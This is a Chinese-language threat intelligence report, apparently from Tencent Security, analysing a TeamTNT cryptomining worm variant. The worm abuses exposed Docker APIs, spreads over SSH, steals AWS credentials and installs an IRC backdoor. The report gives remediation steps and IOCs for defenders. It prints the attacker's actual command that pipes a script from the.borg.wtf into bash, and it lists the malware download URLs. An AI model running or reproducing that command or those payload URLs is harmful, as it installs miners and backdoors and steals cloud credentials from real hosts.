腾讯安全截获TeamTNT挖矿木马最新变种，失陷主机被安装IRC后门，攻击者可实现任意目的

一、背景

腾讯安全威胁情报中心也监测到TeamTNT 变种利用IRC进行通信控制肉鸡服务器组建僵尸网络，此次使用的IRC 采用的是github开源的oragono，暂未检测到后门有执行拒绝服务（DoS）功能。趋势科技曾在12月18日发布的文章中提到TeamTNT在部署具有DoS功能的IRC Bot TNTbotinger。

本次攻击目前还只是检测到利用Docker remote api未授权访问漏洞进行攻击，再利用SSH攻击传播，再安装IRC后门。腾讯安全2020年11月25日曾发布文章介绍TeamTNT挖矿家族利用Docker remote api未授权访问漏洞（https://mp.weixin.qq.com/s/Bw8_zNBwpL1eTZZ0dxXQQw）。显然，本次腾讯安全捕获的TeamTNT最新变种表明，该团伙控制僵尸网络的能力已得到提升，失陷服务器的风险或损失更大了。

该挖矿木马通过SSH复用连接进行横向移动感染，利用masscan和zgrab对外扫描占用带宽。同时挖矿木马会占用大量CPU资源进行计算，可能导致业务系统崩溃。除了利用肉鸡服务器挖矿牟利，攻击者还可能利用已失陷的服务器继续横向传播，以攻占更多其他主机，得手后会在失陷主机安装IRC后门实现远程控制，包括：随时可能利用已控制的服务器集群对指定目标发起DDoS攻击、窃取服务器资料等等。

腾讯安全专家建议企业用户按照以下步骤进行自查以及处置，以确认是否被此蠕虫感染，如有删除相关进程文件及定时任务：

1. Docker Remote API的2375 非必要情况不要暴露在公网，如必须暴露公网 ，则需要配置正确的访问控制策略。

2.排查当前主机docker的容器，是否存在非正常容器，将其停止并删除。

3.停止xmrigMiner进程。

4.如非主动安装masscan/zgrab，将其卸载。

针对该病毒的最新动向，腾讯安全全系列产品均可检测防御。

具体响应清单如下：

二、详细分析

直接利用Docker Remote API未授权访问漏洞执行命令

curl -Ls http://the.borg.wtf/outgoing/script_files/lm_ssh.assi | bash

下载lm_ssh.assi脚本

Lm_ssh.assi脚本是具有完整功能的挖矿脚本，主要有以下几个功能：

Localgo函数，利用ssh进行横向移动，登录ssh后下载lm_ssh.assi脚本。

下载核心挖矿组件：

需要用xmrigDaemon 加载xmrigMiner进行挖矿，通过远程下载的方式同时会将矿池的配置信息下载回来。

下载地址是：https://projectbluebeam.anondns.net /client/getConfig?clientId=VM-48-37-centos

同时会将当前系统的运行状态和配置等信息回传到服务器

回传地址是：https://projectbluebeam.anondns.net/client/setClientStatus?clientId=VM-48-37-centos

其中HaXXoR命名为kernel，在趋势科技的报告中提到命名为kube的二进制文件是Go编译的，并且包含AES加密的ELF文件。这是在执行过程中动态加载的，并且使用了与LaufzeitCrypter的Go版本相同的打包程序。AES密钥和初始化向量（IV）硬编码在二进制文件中。这个版本中任然使用了相同的打包程序，

加载代码也与之前发布的一样

但此次加载的IRC是github开源的oragono，版本为最新的2.4.0。

从返回的信息上可以看出当前这个IRC服务器上有220个client在线，有17个频道。

通过分析该IRC服务器没有采用密码等，只需要nick name即可登录。通过返回信息可以看出该服务器创立于2021.01.09 00:00:46，当前有197个client在线，15个频道。

频道信息

可以查询用户的相关信息能够看出其所在的频道和链接时间：

该IRC可以通过控制端对注册的client下发command,但目前通过流量上看，暂时未发现产生了其他指令，目前服务器的client都属于idle状态。

在执行完下载任务后，继续执行信息收集，主要收集的主机上的aws相关信息，如secret_key,asscess_key_id，然后将其回传至服务器。

然后执行下载安装masscan.

在安装完masscan后，通过执行ip route show获取其内网网段后，利用masscan对内网的22端口进行扫描，在扫描结束后在调用loaclgo进行横向移动去执行下载命令。

还会利用漏洞直接执行命令下载docker.assi的脚本，该脚本首先执行下载安装masscan,jq,zgrab，masscan/zgrab都是扫描器，jq是json处理工具。

下载安装完扫描工具后，利用工具扫描全网开放了2379,2376,4683端口的主机

在将开放2379端口的IP回传至服务器。

IOCs

IP

45.9.148.35

45.9.150.36

45.9.148.108

Domain

the.borg.wtf

irc.borg.wtf

projectbluebeam.anondns.net

C&C

hxxps://projectbluebeam.anondns.net

Md5

URL

hxxp://the.borg.wtf/outgoing/binary_files/HaXXoR
hxxp://the.borg.wtf/outgoing/binary_files/xmrigMiner
hxxp://the.borg.wtf/outgoing/binary_files/xmrigDaemon
hxxp://the.borg.wtf/outgoing/script_files/lm_ssh.assi
hxxp://the.borg.wtf/outgoing/script_files/scanner/docker.assi
hxxp://the.borg.wtf/outgoing/script_files/setup/masscan.assi
hxxp://borg.wtf/aws2.sh
hxxp://the.borg.wtf/d.sh
hxxp://the.borg.wtf/outgoing/script_files/setup/zgrab.assi
hxxp://borg.wtf/aws.sh

钱包：

85Cp3KPSKiMfosyXpEbiqhJvXTYWUnTBYcdBuP9TbiGi9BSwYW3oP6Kj5xxwJsExitWxh4xY4xxPaC57ww9q6se7D6vBVam

矿池地址：

34.252.195.254: 10128

参考链接：

https://www.trendmicro.com/en_us/research/20/l/teamtnt-now-deploying-ddos-capable-irc-bot-tntbotinger.html

https://cybersecurity.att.com/blogs/labs-research/malware-using-new-ezuri-memory-loader

https://s.tencent.com/research/report/1185.html

扫描以下二维码关注“腾讯安全威胁情报中心”公众号，掌握最新的网络安全威胁情报。